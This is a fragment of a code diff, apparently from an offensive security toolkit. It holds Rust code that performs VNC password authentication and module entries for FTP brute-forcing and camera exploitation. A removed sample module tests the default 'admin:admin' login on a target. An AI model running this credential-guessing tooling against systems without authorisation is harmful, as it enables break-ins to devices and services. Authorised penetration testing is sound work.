}
|
||||
|
||||
let mut types = vec![0u8; num_types];
|
||||
match tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut types),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(_)) => {}
|
||||
Ok(Err(e)) => {
|
||||
return VncResult::ConnectionError(format!(
|
||||
"Failed to read security types: {}",
|
||||
e
|
||||
))
|
||||
}
|
||||
Err(_) => {
|
||||
return VncResult::ConnectionError("Timeout reading security types".to_string())
|
||||
}
|
||||
}
|
||||
|
||||
// Check for None auth (type 1) -- no password needed
|
||||
if types.contains(&VNC_AUTH_NONE) && !types.contains(&VNC_AUTH_TYPE) {
|
||||
// Select None auth
|
||||
if let Err(e) = stream.write_all(&[VNC_AUTH_NONE]).await {
|
||||
return VncResult::ConnectionError(format!("Failed to select None auth: {}", e));
|
||||
}
|
||||
return VncResult::NoAuth;
|
||||
}
|
||||
|
||||
if !types.contains(&VNC_AUTH_TYPE) {
|
||||
return VncResult::ProtocolError(format!(
|
||||
"VNC Authentication (type 2) not supported. Available: {:?}",
|
||||
types
|
||||
));
|
||||
}
|
||||
|
||||
// Select VNC Authentication (type 2)
|
||||
if let Err(e) = stream.write_all(&[VNC_AUTH_TYPE]).await {
|
||||
return VncResult::ConnectionError(format!(
|
||||
"Failed to select VNC auth type: {}",
|
||||
e
|
||||
));
|
||||
}
|
||||
if let Err(e) = stream.flush().await {
|
||||
return VncResult::ConnectionError(format!("Flush error: {}", e));
|
||||
}
|
||||
} else {
|
||||
// RFB 3.3: server picks the security type (4 bytes, big-endian)
|
||||
let mut type_buf = [0u8; 4];
|
||||
match tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut type_buf),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(_)) => {}
|
||||
Ok(Err(e)) => {
|
||||
return VncResult::ConnectionError(format!("Failed to read security type: {}", e))
|
||||
}
|
||||
Err(_) => {
|
||||
return VncResult::ConnectionError("Timeout reading security type".to_string())
|
||||
}
|
||||
}
|
||||
|
||||
let sec_type = u32::from_be_bytes(type_buf);
|
||||
match sec_type {
|
||||
0 => {
|
||||
return VncResult::ProtocolError(
|
||||
"Server refused connection (security type 0)".to_string(),
|
||||
)
|
||||
}
|
||||
1 => return VncResult::NoAuth,
|
||||
2 => {} // VNC Authentication -- proceed
|
||||
_ => {
|
||||
return VncResult::ProtocolError(format!(
|
||||
"Unsupported security type: {}",
|
||||
sec_type
|
||||
))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Step 4: Read 16-byte challenge
|
||||
let mut challenge = [0u8; CHALLENGE_LEN];
|
||||
match tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut challenge),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(_)) => {}
|
||||
Ok(Err(e)) => {
|
||||
return VncResult::ConnectionError(format!("Failed to read challenge: {}", e))
|
||||
}
|
||||
Err(_) => return VncResult::ConnectionError("Timeout reading challenge".to_string()),
|
||||
}
|
||||
|
||||
// Step 5: Encrypt challenge with DES using bit-reversed password key
|
||||
let key = vnc_des_key(password);
|
||||
let response = vnc_des_encrypt(&key, &challenge);
|
||||
|
||||
// Step 6: Send encrypted response
|
||||
if let Err(e) = stream.write_all(&response).await {
|
||||
return VncResult::ConnectionError(format!("Failed to send auth response: {}", e));
|
||||
}
|
||||
if let Err(e) = stream.flush().await {
|
||||
return VncResult::ConnectionError(format!("Flush error: {}", e));
|
||||
}
|
||||
|
||||
// Step 7: Read security result (4 bytes)
|
||||
let mut result_buf = [0u8; 4];
|
||||
match tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut result_buf),
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(Ok(_)) => {}
|
||||
Ok(Err(e)) => {
|
||||
return VncResult::ConnectionError(format!("Failed to read auth result: {}", e))
|
||||
}
|
||||
Err(_) => return VncResult::ConnectionError("Timeout reading auth result".to_string()),
|
||||
}
|
||||
|
||||
let security_result = u32::from_be_bytes(result_buf);
|
||||
|
||||
match security_result {
|
||||
0 => VncResult::Success,
|
||||
1 => {
|
||||
// Failed -- in RFB 3.8, a reason string follows
|
||||
if minor >= 8 {
|
||||
let mut len_buf = [0u8; 4];
|
||||
if let Ok(Ok(_)) = tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut len_buf),
|
||||
)
|
||||
.await
|
||||
{
|
||||
let reason_len = u32::from_be_bytes(len_buf) as usize;
|
||||
if reason_len > 0 && reason_len < 4096 {
|
||||
let mut reason = vec![0u8; reason_len];
|
||||
match tokio::time::timeout(
|
||||
Duration::from_millis(READ_TIMEOUT_MS),
|
||||
stream.read_exact(&mut reason),
|
||||
)
|
||||
.await {
|
||||
Err(_) => crate::meprintln!("[!] VNC reason read timed out"),
|
||||
Ok(Err(e)) => crate::meprintln!("[!] VNC reason read error: {}", e),
|
||||
Ok(Ok(_)) => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
VncResult::AuthFailed
|
||||
}
|
||||
2 => VncResult::ProtocolError("Too many authentication failures".to_string()),
|
||||
other => VncResult::ProtocolError(format!("Unknown security result: {}", other)),
|
||||
}
|
||||
}
|
||||
@@ -1,2 +1,3 @@
|
||||
pub mod sample_cred_check;
|
||||
pub mod ftp_bruteforce;
|
||||
pub mod camera;
|
||||
pub mod camxploit;
|
||||
pub mod generic; // <-- lowercase folder name
|
||||
|
||||
@@ -1,26 +0,0 @@
|
||||
use anyhow::{Result, Context};
|
||||
use reqwest;
|
||||
|
||||
/// A sample credential check - tries a basic auth login
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("[*] Checking default creds on: {}", target);
|
||||
|
||||
let url = format!("http://{}/login", target);
|
||||
let client = reqwest::Client::new();
|
||||
|
||||
// Hypothetical login using "admin:admin"
|
||||
let resp = client
|
||||
.post(&url)
|
||||
.basic_auth("admin", Some("admin"))
|
||||
.send()
|
||||
.await
|
||||
.context("Failed to send login request")?;
|
||||
|
||||
if resp.status().is_success() {
|
||||
println!("[+] Default credentials admin:admin are valid!");
|
||||
} else {
|
||||
println!("[-] Default credentials admin:admin failed.");
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user